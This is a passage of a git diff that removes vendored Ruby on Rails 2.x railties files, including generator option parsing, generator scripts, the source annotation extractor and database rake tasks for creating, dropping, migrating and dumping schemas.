-    #   manifest.replay(creator)
-    #   manifest.rewind(destroyer)
-    class Manifest
-      attr_reader :target
-
-      # Take a default action target.  Yield self if block given.
-      def initialize(target = nil)
-        @target, @actions = target, []
-        yield self if block_given?
-      end
-
-      # Record an action.
-      def method_missing(action, *args, &block)
-        @actions << [action, args, block]
-      end
-
-      # Replay recorded actions.
-      def replay(target = nil)
-        send_actions(target || @target, @actions)
-      end
-
-      # Rewind recorded actions.
-      def rewind(target = nil)
-        send_actions(target || @target, @actions.reverse)
-      end
-
-      # Erase recorded actions.
-      def erase
-        @actions = []
-      end
-
-      private
-        def send_actions(target, actions)
-          actions.each do |method, args, block|
-            target.send(method, *args, &block)
-          end
-        end
-    end
-
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/options.rb b/vendor/rails/railties/lib/rails_generator/options.rb
deleted file mode 100644
index 070f96b6..00000000
--- a/vendor/rails/railties/lib/rails_generator/options.rb
+++ /dev/null
@@ -1,150 +0,0 @@
-require 'optparse'
-
-module Rails
-  module Generator
-    module Options
-      def self.included(base)
-        base.extend(ClassMethods)
-        class << base
-          if respond_to?(:inherited)
-            alias_method :inherited_without_options, :inherited
-          end
-          alias_method :inherited, :inherited_with_options
-        end
-      end
-
-      module ClassMethods
-        def inherited_with_options(sub)
-          inherited_without_options(sub) if respond_to?(:inherited_without_options)
-          sub.extend(Rails::Generator::Options::ClassMethods)
-        end
-
-        def mandatory_options(options = nil)
-          if options
-            write_inheritable_attribute(:mandatory_options, options)
-          else
-            read_inheritable_attribute(:mandatory_options) or write_inheritable_attribute(:mandatory_options, {})
-          end
-        end
-
-        def default_options(options = nil)
-          if options
-            write_inheritable_attribute(:default_options, options)
-          else
-            read_inheritable_attribute(:default_options) or write_inheritable_attribute(:default_options, {})
-          end
-        end
-
-        # Merge together our class options.  In increasing precedence:
-        #   default_options   (class default options)
-        #   runtime_options   (provided as argument)
-        #   mandatory_options (class mandatory options)
-        def full_options(runtime_options = {})
-          default_options.merge(runtime_options).merge(mandatory_options)
-        end
-
-      end
-
-      # Each instance has an options hash that's populated by #parse.
-      def options
-        @options ||= {}
-      end
-      attr_writer :options
-
-      protected
-        # Convenient access to class mandatory options.
-        def mandatory_options
-          self.class.mandatory_options
-        end
-
-        # Convenient access to class default options.
-        def default_options
-          self.class.default_options
-        end
-
-        # Merge together our instance options.  In increasing precedence:
-        #   default_options   (class default options)
-        #   options           (instance options)
-        #   runtime_options   (provided as argument)
-        #   mandatory_options (class mandatory options)
-        def full_options(runtime_options = {})
-          self.class.full_options(options.merge(runtime_options))
-        end
-
-        # Parse arguments into the options hash.  Classes may customize
-        # parsing behavior by overriding these methods:
-        #   #banner                 Usage: ./script/generate [options]
-        #   #add_options!           Options:
-        #                             some options..
-        #   #add_general_options!   General Options:
-        #                             general options..
-        def parse!(args, runtime_options = {})
-          self.options = {}
-
-          @option_parser = OptionParser.new do |opt|
-            opt.banner = banner
-            add_options!(opt)
-            add_general_options!(opt)
-            opt.parse!(args)
-          end
-
-          return args
-        ensure
-          self.options = full_options(runtime_options)
-        end
-
-        # Raise a usage error.  Override usage_message to provide a blurb
-        # after the option parser summary.
-        def usage(message = usage_message)
-          raise UsageError, "#{@option_parser}\n#{message}"
-        end
-
-        def usage_message
-          ''
-        end
-
-        # Override with your own usage banner.
-        def banner
-          "Usage: #{$0} [options]"
-        end
-
-        # Override to add your options to the parser:
-        #   def add_options!(opt)
-        #     opt.on('-v', '--verbose') { |value| options[:verbose] = value }
-        #   end
-        def add_options!(opt)
-        end
-
-        # Adds general options like -h and --quiet.  Usually don't override.
-        def add_general_options!(opt)
-          opt.separator ''
-          opt.separator 'Rails Info:'
-          opt.on('-v', '--version', 'Show the Rails version number and quit.')
-          opt.on('-h', '--help', 'Show this help message and quit.') { |v| options[:help] = v }
-
-          opt.separator ''
-          opt.separator 'General Options:'
-
-          opt.on('-p', '--pretend', 'Run but do not make any changes.') { |v| options[:pretend] = v }
-          opt.on('-f', '--force', 'Overwrite files that already exist.') { options[:collision] = :force }
-          opt.on('-s', '--skip', 'Skip files that already exist.') { options[:collision] = :skip }
-          opt.on('-q', '--quiet', 'Suppress normal output.') { |v| options[:quiet] = v }
-          opt.on('-t', '--backtrace', 'Debugging: show backtrace on errors.') { |v| options[:backtrace] = v }
-          opt.on('-c', '--svn', 'Modify files with subversion. (Note: svn must be in path)') do
-            options[:svn] = {}
-            `svn status`.each_line do |line|
-              options[:svn][line.chomp[7..-1]] = true
-            end
-          end
-          opt.on('-g', '--git', 'Modify files with git. (Note: git must be in path)') do
-            options[:git] = {:new => {}, :modified => {}}
-            `git status`.each_line do |line|
-              options[:git][:new][line.chomp[14..-1]] = true if line =~ /new file:/
-              options[:git][:modified][line.chomp[14..-1]] = true if line =~ /modified:/
-            end
-          end
-        end
-
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/scripts.rb b/vendor/rails/railties/lib/rails_generator/scripts.rb
deleted file mode 100644
index 9b1a9983..00000000
--- a/vendor/rails/railties/lib/rails_generator/scripts.rb
+++ /dev/null
@@ -1,89 +0,0 @@
-require File.dirname(__FILE__) + '/options'
-
-module Rails
-  module Generator
-    module Scripts
-
-      # Generator scripts handle command-line invocation.  Each script
-      # responds to an invoke! class method which handles option parsing
-      # and generator invocation.
-      class Base
-        include Options
-        default_options :collision => :ask, :quiet => false
-
-        # Run the generator script.  Takes an array of unparsed arguments
-        # and a hash of parsed arguments, takes the generator as an option
-        # or first remaining argument, and invokes the requested command.
-        def run(args = [], runtime_options = {})
-          begin
-            parse!(args.dup, runtime_options)
-          rescue OptionParser::InvalidOption => e
-            # Don't cry, script. Generators want what you think is invalid.
-          end
-
-          # Generator name is the only required option.
-          unless options[:generator]
-            usage if args.empty?
-            options[:generator] ||= args.shift
-          end
-
-          # Look up generator instance and invoke command on it.
-          Rails::Generator::Base.instance(options[:generator], args, options).command(options[:command]).invoke!
-        rescue => e
-          puts e
-          puts "  #{e.backtrace.join("\n  ")}\n" if options[:backtrace]
-          raise SystemExit
-        end
-
-        protected
-          # Override with your own script usage banner.
-          def banner
-            "Usage: #{$0} generator [options] [args]"
-          end
-
-          def usage_message
-            usage = "\nInstalled Generators\n"
-            Rails::Generator::Base.sources.inject([]) do |mem, source|
-              # Using an association list instead of a hash to preserve order,
-              # for aesthetic reasons more than anything else.
-              label = source.label.to_s.capitalize
-              pair = mem.assoc(label)
-              mem << (pair = [label, []]) if pair.nil?
-              pair[1] |= source.names
-              mem
-            end.each do |label, names|
-              usage << "  #{label}: #{names.join(', ')}\n" unless names.empty?
-            end
-
-            usage << <<end_blurb
-
-More are available at http://wiki.rubyonrails.org/rails/pages/AvailableGenerators
-  1. Download, for example, login_generator.zip
-  2. Unzip to directory #{Dir.user_home}/.rails/generators/login
-     to use the generator with all your Rails apps
-end_blurb
-
-            if Object.const_defined?(:RAILS_ROOT)
-              usage << <<end_blurb
-     or to #{File.expand_path(RAILS_ROOT)}/lib/generators/login
-     to use with this app only.
-end_blurb
-            end
-
-            usage << <<end_blurb
-  3. Run generate with no arguments for usage information
-       #{$0} login
-
-Generator gems are also available:
-  1. gem search -r generator
-  2. gem install login_generator
-  3. #{$0} login
-
-end_blurb
-            return usage
-          end
-      end # Base
-
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/scripts/destroy.rb b/vendor/rails/railties/lib/rails_generator/scripts/destroy.rb
deleted file mode 100644
index a7c2a147..00000000
--- a/vendor/rails/railties/lib/rails_generator/scripts/destroy.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-require File.dirname(__FILE__) + '/../scripts'
-
-module Rails::Generator::Scripts
-  class Destroy < Base
-    mandatory_options :command => :destroy
-
-    protected
-    def usage_message
-      usage = "\nInstalled Generators\n"
-      Rails::Generator::Base.sources.each do |source|
-        label = source.label.to_s.capitalize
-        names = source.names
-        usage << "  #{label}: #{names.join(', ')}\n" unless names.empty?
-      end
-
-      usage << <<end_blurb
-
-script/generate command. For instance, 'script/destroy migration CreatePost'
-will delete the appropriate XXX_create_post.rb migration file in db/migrate,
-while 'script/destroy scaffold Post' will delete the posts controller and
-views, post model and migration, all associated tests, and the map.resources
-:posts line in config/routes.rb.
-
-For instructions on finding new generators, run script/generate.
-end_blurb
-      return usage
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/scripts/generate.rb b/vendor/rails/railties/lib/rails_generator/scripts/generate.rb
deleted file mode 100644
index 1fe2f54a..00000000
--- a/vendor/rails/railties/lib/rails_generator/scripts/generate.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require File.dirname(__FILE__) + '/../scripts'
-
-module Rails::Generator::Scripts
-  class Generate < Base
-    mandatory_options :command => :create
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/scripts/update.rb b/vendor/rails/railties/lib/rails_generator/scripts/update.rb
deleted file mode 100644
index 53a9faa3..00000000
--- a/vendor/rails/railties/lib/rails_generator/scripts/update.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-require File.dirname(__FILE__) + '/../scripts'
-
-module Rails::Generator::Scripts
-  class Update < Base
-    mandatory_options :command => :update
-
-    protected
-      def banner
-        "Usage: #{$0} [options] scaffold"
-      end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/secret_key_generator.rb b/vendor/rails/railties/lib/rails_generator/secret_key_generator.rb
deleted file mode 100644
index 7dd495a2..00000000
--- a/vendor/rails/railties/lib/rails_generator/secret_key_generator.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-require 'active_support/deprecation'
-
-module Rails
-  # A class for creating random secret keys. This class will do its best to create a
-  # random secret key that's as secure as possible, using whatever methods are
-  # available on the current platform. For example:
-  #
-  #   generator = Rails::SecretKeyGenerator("some unique identifier, such as the application name")
-  #   generator.generate_secret     # => "f3f1be90053fa851... (some long string)"
-  #
-  # This class is *deprecated* in Rails 2.2 in favor of ActiveSupport::SecureRandom.
-  # It is currently a wrapper around ActiveSupport::SecureRandom.
-  class SecretKeyGenerator
-    def initialize(identifier)
-    end
-
-    # Generate a random secret key with the best possible method available on
-    # the current platform.
-    def generate_secret
-      ActiveSupport::SecureRandom.hex(64)
-    end
-    deprecate :generate_secret=>"You should use ActiveSupport::SecureRandom.hex(64)"
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/simple_logger.rb b/vendor/rails/railties/lib/rails_generator/simple_logger.rb
deleted file mode 100644
index d750f07b..00000000
--- a/vendor/rails/railties/lib/rails_generator/simple_logger.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-module Rails
-  module Generator
-    class SimpleLogger # :nodoc:
-      attr_reader :out
-      attr_accessor :quiet
-
-      def initialize(out = $stdout)
-        @out = out
-        @quiet = false
-        @level = 0
-      end
-
-      def log(status, message, &block)
-        @out.print("%12s  %s%s\n" % [status, '  ' * @level, message]) unless quiet
-        indent(&block) if block_given?
-      end
-
-      def indent(&block)
-        @level += 1
-        if block_given?
-          begin
-            block.call
-          ensure
-            outdent
-          end
-        end
-      end
-
-      def outdent
-        @level -= 1
-        if block_given?
-          begin
-            block.call
-          ensure
-            indent
-          end
-        end
-      end
-
-      private
-        def method_missing(method, *args, &block)
-          log(method.to_s, args.first, &block)
-        end
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/spec.rb b/vendor/rails/railties/lib/rails_generator/spec.rb
deleted file mode 100644
index 9d780b7a..00000000
--- a/vendor/rails/railties/lib/rails_generator/spec.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-module Rails
-  module Generator
-    # A spec knows where a generator was found and how to instantiate it.
-    # Metadata include the generator's name, its base path, and the source
-    # which yielded it (PathSource, GemPathSource, etc.)
-    class Spec
-      attr_reader :name, :path, :source
-
-      def initialize(name, path, source)
-        @name, @path, @source = name, path, source
-      end
-
-      # Look up the generator class.  Require its class file, find the class
-      # in ObjectSpace, tag it with this spec, and return.
-      def klass
-        unless @klass
-          require class_file
-          @klass = lookup_class
-          @klass.spec = self
-        end
-        @klass
-      end
-
-      def class_file
-        "#{path}/#{name}_generator.rb"
-      end
-
-      def class_name
-        "#{name.camelize}Generator"
-      end
-
-      private
-        # Search for the first Class descending from Rails::Generator::Base
-        # whose name matches the requested class name.
-        def lookup_class
-          ObjectSpace.each_object(Class) do |obj|
-            return obj if obj.ancestors.include?(Rails::Generator::Base) and
-                          obj.name.split('::').last == class_name
-          end
-          raise NameError, "Missing #{class_name} class in #{class_file}"
-        end
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/railties_path.rb b/vendor/rails/railties/lib/railties_path.rb
deleted file mode 100644
index a298a4cc..00000000
--- a/vendor/rails/railties/lib/railties_path.rb
+++ /dev/null
@@ -1 +0,0 @@
-RAILTIES_PATH = File.join(File.dirname(__FILE__), '..')
diff --git a/vendor/rails/railties/lib/ruby_version_check.rb b/vendor/rails/railties/lib/ruby_version_check.rb
deleted file mode 100644
index 68d3acc8..00000000
--- a/vendor/rails/railties/lib/ruby_version_check.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-min_release  = "1.8.2 (2004-12-25)"
-ruby_release = "#{RUBY_VERSION} (#{RUBY_RELEASE_DATE})"
-if ruby_release =~ /1\.8\.3/
-  abort <<-end_message
-
-    Rails does not work with Ruby version 1.8.3.
-    Please upgrade to version 1.8.4 or downgrade to 1.8.2.
-
-  end_message
-elsif ruby_release < min_release
-  abort <<-end_message
-
-    Rails requires Ruby version #{min_release} or later.
-    You're running #{ruby_release}; please upgrade to continue.
-
-  end_message
-end
diff --git a/vendor/rails/railties/lib/rubyprof_ext.rb b/vendor/rails/railties/lib/rubyprof_ext.rb
deleted file mode 100644
index f6e90357..00000000
--- a/vendor/rails/railties/lib/rubyprof_ext.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-require 'prof'
-
-module Prof #:nodoc:
-  # Adapted from Shugo Maeda's unprof.rb
-  def self.print_profile(results, io = $stderr)
-    total = results.detect { |i|
-      i.method_class.nil? && i.method_id == :"#toplevel"
-    }.total_time
-    total = 0.001 if total < 0.001
-
-    io.puts "  %%   cumulative   self              self     total"
-    io.puts " time   seconds   seconds    calls  ms/call  ms/call  name"
-
-    sum = 0.0
-    for r in results
-      sum += r.self_time
-
-      name =  if r.method_class.nil?
-                r.method_id.to_s
-              elsif r.method_class.is_a?(Class)
-                "#{r.method_class}##{r.method_id}"
-              else
-                "#{r.method_class}.#{r.method_id}"
-              end
-      io.printf "%6.2f %8.3f  %8.3f %8d %8.2f %8.2f  %s\n",
-        r.self_time / total * 100,
-        sum,
-        r.self_time,
-        r.count,
-        r.self_time * 1000 / r.count,
-        r.total_time * 1000 / r.count,
-        name
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/source_annotation_extractor.rb b/vendor/rails/railties/lib/source_annotation_extractor.rb
deleted file mode 100644
index 591fd6f6..00000000
--- a/vendor/rails/railties/lib/source_annotation_extractor.rb
+++ /dev/null
@@ -1,102 +0,0 @@
-# Implements the logic behind the rake tasks for annotations like
-#
-#   rake notes
-#   rake notes:optimize
-#
-# and friends. See <tt>rake -T notes</tt> and <tt>railties/lib/tasks/annotations.rake</tt>.
-#
-# Annotation objects are triplets <tt>:line</tt>, <tt>:tag</tt>, <tt>:text</tt> that
-# represent the line where the annotation lives, its tag, and its text. Note
-# the filename is not stored.
-#
-# Annotations are looked for in comments and modulus whitespace they have to
-# start with the tag optionally followed by a colon. Everything up to the end
-# of the line (or closing ERb comment tag) is considered to be their text.
-class SourceAnnotationExtractor
-  class Annotation < Struct.new(:line, :tag, :text)
-
-    # Returns a representation of the annotation that looks like this:
-    #
-    #   [126] [TODO] This algorithm is simple and clearly correct, make it faster.
-    #
-    # If +options+ has a flag <tt>:tag</tt> the tag is shown as in the example above.
-    # Otherwise the string contains just line and text.
-    def to_s(options={})
-      s = "[%3d] " % line
-      s << "[#{tag}] " if options[:tag]
-      s << text
-    end
-  end
-
-  # Prints all annotations with tag +tag+ under the root directories +app+, +lib+,
-  # and +test+ (recursively). Only filenames with extension +.builder+, +.rb+,
-  # +.rxml+, +.rjs+, +.rhtml+, or +.erb+ are taken into account. The +options+
-  # hash is passed to each annotation's +to_s+.
-  #
-  # This class method is the single entry point for the rake tasks.
-  def self.enumerate(tag, options={})
-    extractor = new(tag)
-    extractor.display(extractor.find, options)
-  end
-
-  attr_reader :tag
-
-  def initialize(tag)
-    @tag = tag
-  end
-
-  # Returns a hash that maps filenames under +dirs+ (recursively) to arrays
-  # with their annotations. Only files with annotations are included, and only
-  # those with extension +.builder+, +.rb+, +.rxml+, +.rjs+, +.rhtml+, and +.erb+
-  # are taken into account.
-  def find(dirs=%w(app lib test))
-    dirs.inject({}) { |h, dir| h.update(find_in(dir)) }
-  end
-
-  # Returns a hash that maps filenames under +dir+ (recursively) to arrays
-  # with their annotations. Only files with annotations are included, and only
-  # those with extension +.builder+, +.rb+, +.rxml+, +.rjs+, +.rhtml+, and +.erb+
-  # are taken into account.
-  def find_in(dir)
-    results = {}
-
-    Dir.glob("#{dir}/*") do |item|
-      next if File.basename(item)[0] == ?.
-
-      if File.directory?(item)
-        results.update(find_in(item))
-      elsif item =~ /\.(builder|(r(?:b|xml|js)))$/
-        results.update(extract_annotations_from(item, /#\s*(#{tag}):?\s*(.*)$/))
-      elsif item =~ /\.(rhtml|erb)$/
-        results.update(extract_annotations_from(item, /<%\s*#\s*(#{tag}):?\s*(.*?)\s*%>/))
-      end
-    end
-
-    results
-  end
-
-  # If +file+ is the filename of a file that contains annotations this method returns
-  # a hash with a single entry that maps +file+ to an array of its annotations.
-  # Otherwise it returns an empty hash.
-  def extract_annotations_from(file, pattern)
-    lineno = 0
-    result = File.readlines(file).inject([]) do |list, line|
-      lineno += 1
-      next list unless line =~ pattern
-      list << Annotation.new(lineno, $1, $2)
-    end
-    result.empty? ? {} : { file => result }
-  end
-
-  # Prints the mapping from filenames to annotations in +results+ ordered by filename.
-  # The +options+ hash is passed to each annotation's +to_s+.
-  def display(results, options={})
-    results.keys.sort.each do |file|
-      puts "#{file}:"
-      results[file].each do |note|
-        puts "  * #{note.to_s(options)}"
-      end
-      puts
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/tasks/annotations.rake b/vendor/rails/railties/lib/tasks/annotations.rake
deleted file mode 100644
index 48ac4009..00000000
--- a/vendor/rails/railties/lib/tasks/annotations.rake
+++ /dev/null
@@ -1,20 +0,0 @@
-require 'source_annotation_extractor'
-
-desc "Enumerate all annotations"
-task :notes do
-  SourceAnnotationExtractor.enumerate "OPTIMIZE|FIXME|TODO", :tag => true
-end
-
-namespace :notes do
-  ["OPTIMIZE", "FIXME", "TODO"].each do |annotation|
-    desc "Enumerate all #{annotation} annotations"
-    task annotation.downcase.intern do
-      SourceAnnotationExtractor.enumerate annotation
-    end
-  end
-
-  desc "Enumerate a custom annotation, specify with ANNOTATION=WTFHAX"
-  task :custom do
-    SourceAnnotationExtractor.enumerate ENV['ANNOTATION']
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/tasks/databases.rake b/vendor/rails/railties/lib/tasks/databases.rake
deleted file mode 100644
index 1cf24343..00000000
--- a/vendor/rails/railties/lib/tasks/databases.rake
+++ /dev/null
@@ -1,436 +0,0 @@
-namespace :db do
-  task :load_config => :rails_env do
-    require 'active_record'
-    ActiveRecord::Base.configurations = Rails::Configuration.new.database_configuration
-  end
-
-  namespace :create do
-    desc 'Create all the local databases defined in config/database.yml'
-    task :all => :load_config do
-      ActiveRecord::Base.configurations.each_value do |config|
-        # Skip entries that don't have a database key, such as the first entry here:
-        #
-        #  defaults: &defaults
-        #    adapter: mysql
-        #    username: root
-        #    password:
-        #    host: localhost
-        #
-        #  development:
-        #    database: blog_development
-        #    <<: *defaults
-        next unless config['database']
-        # Only connect to local databases
-        local_database?(config) { create_database(config) }
-      end
-    end
-  end
-
-  desc 'Create the database defined in config/database.yml for the current RAILS_ENV'
-  task :create => :load_config do
-    create_database(ActiveRecord::Base.configurations[RAILS_ENV])
-  end
-
-  def create_database(config)
-    begin
-      if config['adapter'] =~ /sqlite/
-        if File.exist?(config['database'])
-          $stderr.puts "#{config['database']} already exists"
-        else
-          begin
-            # Create the SQLite database
-            ActiveRecord::Base.establish_connection(config)
-            ActiveRecord::Base.connection
-          rescue
-            $stderr.puts $!, *($!.backtrace)
-            $stderr.puts "Couldn't create database for #{config.inspect}"
-          end
-        end
-        return # Skip the else clause of begin/rescue
-      else
-        ActiveRecord::Base.establish_connection(config)
-        ActiveRecord::Base.connection
-      end
-    rescue
-      case config['adapter']
-      when /^mysql/
-        @charset   = ENV['CHARSET']   || 'utf8'
-        @collation = ENV['COLLATION'] || 'utf8_unicode_ci'
-        begin
-          ActiveRecord::Base.establish_connection(config.merge('database' => nil))
-          ActiveRecord::Base.connection.create_database(config['database'], :charset => (config['charset'] || @charset), :collation => (config['collation'] || @collation))
-          ActiveRecord::Base.establish_connection(config)
-        rescue
-          $stderr.puts "Couldn't create database for #{config.inspect}, charset: #{config['charset'] || @charset}, collation: #{config['collation'] || @collation} (if you set the charset manually, make sure you have a matching collation)"
-        end
-      when 'postgresql'
-        @encoding = config[:encoding] || ENV['CHARSET'] || 'utf8'
-        begin
-          ActiveRecord::Base.establish_connection(config.merge('database' => 'postgres', 'schema_search_path' => 'public'))
-          ActiveRecord::Base.connection.create_database(config['database'], config.merge('encoding' => @encoding))
-          ActiveRecord::Base.establish_connection(config)
-        rescue
-          $stderr.puts $!, *($!.backtrace)
-          $stderr.puts "Couldn't create database for #{config.inspect}"
-        end
-      end
-    else
-      $stderr.puts "#{config['database']} already exists"
-    end
-  end
-
-  namespace :drop do
-    desc 'Drops all the local databases defined in config/database.yml'
-    task :all => :load_config do
-      ActiveRecord::Base.configurations.each_value do |config|
-        # Skip entries that don't have a database key
-        next unless config['database']
-        # Only connect to local databases
-        local_database?(config) { drop_database(config) }
-      end
-    end
-  end
-
-  desc 'Drops the database for the current RAILS_ENV'
-  task :drop => :load_config do
-    config = ActiveRecord::Base.configurations[RAILS_ENV || 'development']
-    drop_database(config)
-  end
-
-  def local_database?(config, &block)
-    if %w( 127.0.0.1 localhost ).include?(config['host']) || config['host'].blank?
-      yield
-    else
-      puts "This task only modifies local databases. #{config['database']} is on a remote host."
-    end
-  end
-
-
-  desc "Migrate the database through scripts in db/migrate and update db/schema.rb by invoking db:schema:dump. Target specific version with VERSION=x. Turn off output with VERBOSE=false."
-  task :migrate => :environment do
-    ActiveRecord::Migration.verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true
-    ActiveRecord::Migrator.migrate("db/migrate/", ENV["VERSION"] ? ENV["VERSION"].to_i : nil)
-    Rake::Task["db:schema:dump"].invoke if ActiveRecord::Base.schema_format == :ruby
-  end
-
-  namespace :migrate do
-    desc  'Rollbacks the database one migration and re migrate up. If you want to rollback more than one step, define STEP=x. Target specific version with VERSION=x.'
-    task :redo => :environment do
-      if ENV["VERSION"]
-        Rake::Task["db:migrate:down"].invoke
-        Rake::Task["db:migrate:up"].invoke
-      else
-        Rake::Task["db:rollback"].invoke
-        Rake::Task["db:migrate"].invoke
-      end
-    end
-
-    desc 'Resets your database using your migrations for the current environment'
-    task :reset => ["db:drop", "db:create", "db:migrate"]
-
-    desc 'Runs the "up" for a given migration VERSION.'
-    task :up => :environment do
-      version = ENV["VERSION"] ? ENV["VERSION"].to_i : nil
-      raise "VERSION is required" unless version
-      ActiveRecord::Migrator.run(:up, "db/migrate/", version)
-      Rake::Task["db:schema:dump"].invoke if ActiveRecord::Base.schema_format == :ruby
-    end
-
-    desc 'Runs the "down" for a given migration VERSION.'
-    task :down => :environment do
-      version = ENV["VERSION"] ? ENV["VERSION"].to_i : nil
-      raise "VERSION is required" unless version
-      ActiveRecord::Migrator.run(:down, "db/migrate/", version)
-      Rake::Task["db:schema:dump"].invoke if ActiveRecord::Base.schema_format == :ruby
-    end
-  end
-
-  desc 'Rolls the schema back to the previous version. Specify the number of steps with STEP=n'
-  task :rollback => :environment do
-    step = ENV['STEP'] ? ENV['STEP'].to_i : 1
-    ActiveRecord::Migrator.rollback('db/migrate/', step)
-    Rake::Task["db:schema:dump"].invoke if ActiveRecord::Base.schema_format == :ruby
-  end
-
-  desc 'Drops and recreates the database from db/schema.rb for the current environment and loads the seeds.'
-  task :reset => [ 'db:drop', 'db:setup' ]
-
-  desc "Retrieves the charset for the current environment's database"
-  task :charset => :environment do
-    config = ActiveRecord::Base.configurations[RAILS_ENV || 'development']
-    case config['adapter']
-    when /^mysql/
-      ActiveRecord::Base.establish_connection(config)
-      puts ActiveRecord::Base.connection.charset
-    when 'postgresql'
-      ActiveRecord::Base.establish_connection(config)
-      puts ActiveRecord::Base.connection.encoding
-    else
-      puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
-    end
-  end
-
-  desc "Retrieves the collation for the current environment's database"
-  task :collation => :environment do
-    config = ActiveRecord::Base.configurations[RAILS_ENV || 'development']
-    case config['adapter']
-    when /^mysql/
-      ActiveRecord::Base.establish_connection(config)
-      puts ActiveRecord::Base.connection.collation
-    else
-      puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
-    end
-  end
-
-  desc "Retrieves the current schema version number"
-  task :version => :environment do
-    puts "Current version: #{ActiveRecord::Migrator.current_version}"
-  end
-
-  desc "Raises an error if there are pending migrations"
-  task :abort_if_pending_migrations => :environment do
-    if defined? ActiveRecord
-      pending_migrations = ActiveRecord::Migrator.new(:up, 'db/migrate').pending_migrations
-
-      if pending_migrations.any?
-        puts "You have #{pending_migrations.size} pending migrations:"
-        pending_migrations.each do |pending_migration|
-          puts '  %4d %s' % [pending_migration.version, pending_migration.name]
-        end
-        abort %{Run "rake db:migrate" to update your database then try again.}
-      end
-    end
-  end
-
-  desc 'Create the database, load the schema, and initialize with the seed data'
-  task :setup => [ 'db:create', 'db:schema:load', 'db:seed' ]
-
-  desc 'Load the seed data from db/seeds.rb'
-  task :seed => :environment do
-    seed_file = File.join(Rails.root, 'db', 'seeds.rb')
-    load(seed_file) if File.exist?(seed_file)
-  end
-
-  namespace :fixtures do
-    desc "Load fixtures into the current environment's database.  Load specific fixtures using FIXTURES=x,y. Load from subdirectory in test/fixtures using FIXTURES_DIR=z. Specify an alternative path (eg. spec/fixtures) using FIXTURES_PATH=spec/fixtures."
-    task :load => :environment do
-      require 'active_record/fixtures'
-      ActiveRecord::Base.establish_connection(Rails.env)
-      base_dir = ENV['FIXTURES_PATH'] ? File.join(Rails.root, ENV['FIXTURES_PATH']) : File.join(Rails.root, 'test', 'fixtures')
-      fixtures_dir = ENV['FIXTURES_DIR'] ? File.join(base_dir, ENV['FIXTURES_DIR']) : base_dir
-
-      (ENV['FIXTURES'] ? ENV['FIXTURES'].split(/,/).map {|f| File.join(fixtures_dir, f) } : Dir.glob(File.join(fixtures_dir, '*.{yml,csv}'))).each do |fixture_file|
-        Fixtures.create_fixtures(File.dirname(fixture_file), File.basename(fixture_file, '.*'))
-      end
-    end
-
-    desc "Search for a fixture given a LABEL or ID. Specify an alternative path (eg. spec/fixtures) using FIXTURES_PATH=spec/fixtures."
-    task :identify => :environment do
-      require "active_record/fixtures"
-
-      label, id = ENV["LABEL"], ENV["ID"]
-      raise "LABEL or ID required" if label.blank? && id.blank?
-
-      puts %Q(The fixture ID for "#{label}" is #{Fixtures.identify(label)}.) if label
-
-      base_dir = ENV['FIXTURES_PATH'] ? File.join(Rails.root, ENV['FIXTURES_PATH']) : File.join(Rails.root, 'test', 'fixtures')
-      Dir["#{base_dir}/**/*.yml"].each do |file|
-        if data = YAML::load(ERB.new(IO.read(file)).result)
-          data.keys.each do |key|
-            key_id = Fixtures.identify(key)
-
-            if key == label || key_id == id.to_i
-              puts "#{file}: #{key} (#{key_id})"
-            end
-          end
-        end
-      end
-    end
-  end
-
-  namespace :schema do
-    desc "Create a db/schema.rb file that can be portably used against any DB supported by AR"
-    task :dump => :environment do
-      require 'active_record/schema_dumper'
-      File.open(ENV['SCHEMA'] || "#{RAILS_ROOT}/db/schema.rb", "w") do |file|
-        ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, file)
-      end
-      Rake::Task["db:schema:dump"].reenable
-    end
-
-    desc "Load a schema.rb file into the database"
-    task :load => :environment do
-      file = ENV['SCHEMA'] || "#{RAILS_ROOT}/db/schema.rb"
-      if File.exists?(file)
-        load(file)
-      else
-        abort %{#{file} doesn't exist yet. Run "rake db:migrate" to create it then try again. If you do not intend to use a database, you should instead alter #{RAILS_ROOT}/config/environment.rb to prevent active_record from loading: config.frameworks -= [ :active_record ]}
-      end
-    end
-  end
-
-  namespace :structure do
-    desc "Dump the database structure to a SQL file"
-    task :dump => :environment do
-      abcs = ActiveRecord::Base.configurations
-      case abcs[RAILS_ENV]["adapter"]
-      when /^mysql/, "oci", "oracle"
-        ActiveRecord::Base.establish_connection(abcs[RAILS_ENV])
-        File.open("#{RAILS_ROOT}/db/#{RAILS_ENV}_structure.sql", "w+") { |f| f << ActiveRecord::Base.connection.structure_dump }
-      when "postgresql"
-        ENV['PGHOST']     = abcs[RAILS_ENV]["host"] if abcs[RAILS_ENV]["host"]
-        ENV['PGPORT']     = abcs[RAILS_ENV]["port"].to_s if abcs[RAILS_ENV]["port"]
-        ENV['PGPASSWORD'] = abcs[RAILS_ENV]["password"].to_s if abcs[RAILS_ENV]["password"]
-        search_path = abcs[RAILS_ENV]["schema_search_path"]
-        search_path = "--schema=#{search_path}" if search_path
-        `pg_dump -i -U "#{abcs[RAILS_ENV]["username"]}" -s -x -O -f db/#{RAILS_ENV}_structure.sql #{search_path} #{abcs[RAILS_ENV]["database"]}`
-        raise "Error dumping database" if $?.exitstatus == 1
-      when "sqlite", "sqlite3"
